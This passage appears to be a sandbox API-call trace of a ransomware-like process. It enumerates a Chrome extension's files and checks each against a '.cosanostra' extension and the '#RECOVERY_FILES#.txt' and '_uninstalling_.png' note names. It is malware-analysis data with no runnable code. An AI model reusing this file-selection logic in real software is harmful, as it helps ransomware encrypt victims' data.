HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js") returned 151 [0086.100] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0086.100] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.100] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0086.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json") returned 143 [0086.100] StrStrIW (lpFirst="page_embed_script.js", lpSrch=".cosanostra") returned 0x0 [0086.100] lstrcmpW (lpString1="page_embed_script.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.100] lstrcmpW (lpString1="page_embed_script.js", lpString2="_uninstalling_.png") returned 1 [0086.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 150 [0086.112] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.112] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.112] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.112] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json") returned 155 [0086.113] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.113] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.113] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.113] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json") returned 155 [0086.113] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.113] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.113] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.113] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 155 [0086.114] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.114] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.114] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 155 [0086.114] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.114] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.114] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.115] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 155 [0086.115] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.115] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.115] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.115] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 155 [0086.115] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.115] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.115] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.115] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 155 [0086.116] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.116] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.116] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.116] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 155 [0086.149] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.149] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.149] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.149] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 155 [0086.150] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.150] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.150] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.150] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json") returned 155 [0086.160] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.160] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.160] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.160] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 155 [0086.160] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.160] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.160] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.160] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 158 [0086.161] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.161] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.161] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 158 [0086.161] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.161] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.161] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 155 [0086.162] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.162] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.162] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.162] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 159 [0086.162] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.162] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.162] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.162] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json") returned 155 [0086.163] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.163] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.163] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.163] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json") returned 155 [0086.163] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.163] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.163] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.163] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json") returned 155 [0086.164] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.164] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.164] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.164] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json") returned 155 [0086.165] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.165] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.165] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.165] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\messages.json") returned 156 [0086.165] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.166] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.166] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.166] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\messages.json") returned 155 [0086.166] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.166] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.166] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.166] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json") returned 158 [0086.167] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.167] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.167] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.167] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json") returned 155 [0086.168] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.168] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.168] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.168] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json") returned 155 [0086.168] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.168] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.168] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.168] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json") returned 155 [0086.169] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.169] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.169] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.169] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json") returned 155 [0086.169] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.169] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.169] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.169] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json") returned 155 [0086.170] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.170] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.170] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.170] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\messages.json") returned 155 [0086.171] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.171] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.171] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.171] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json") returned 155 [0086.171] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.171] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.171] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.171] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 155 [0086.172] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.172] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.172] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.172] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 155 [0086.172] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.172] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.172] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.172] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 155 [0086.173] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.173] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.173] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.173] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 155 [0086.173] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.173] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.173] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.173] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 155 [0086.174] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.174] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.174] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.174] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json") returned 155 [0086.175] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.175] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.175] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.175] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json") returned 155 [0086.175] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.175] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.175] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.175] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 155 [0086.176] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.176] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.176] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.176] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 155 [0086.181] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.181] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.181] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.181] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 155 [0086.181] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.181] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.181] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.181] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 155 [0086.182] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.182] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.182] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.182] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 155 [0086.186] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.186] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.186] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.186] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 155 [0086.187] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.187] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.187] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.187] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 155 [0086.187] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.187] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.187] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.187] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 155 [0086.188] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.188] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.188] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.188] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json") returned 155 [0086.188] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.188] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.188] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.188] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json") returned 155 [0086.189] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.189] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.189] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.189] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json") returned 155 [0086.189] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.189] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.189] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.189] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json") returned 155 [0086.190] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.190] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.190] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.190] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json") returned 158 [0086.190] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.190] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.190] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.427] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 158 [0086.441] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.441] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.441] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.441] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 155 [0086.446] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.446] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.446] lstrcmpW 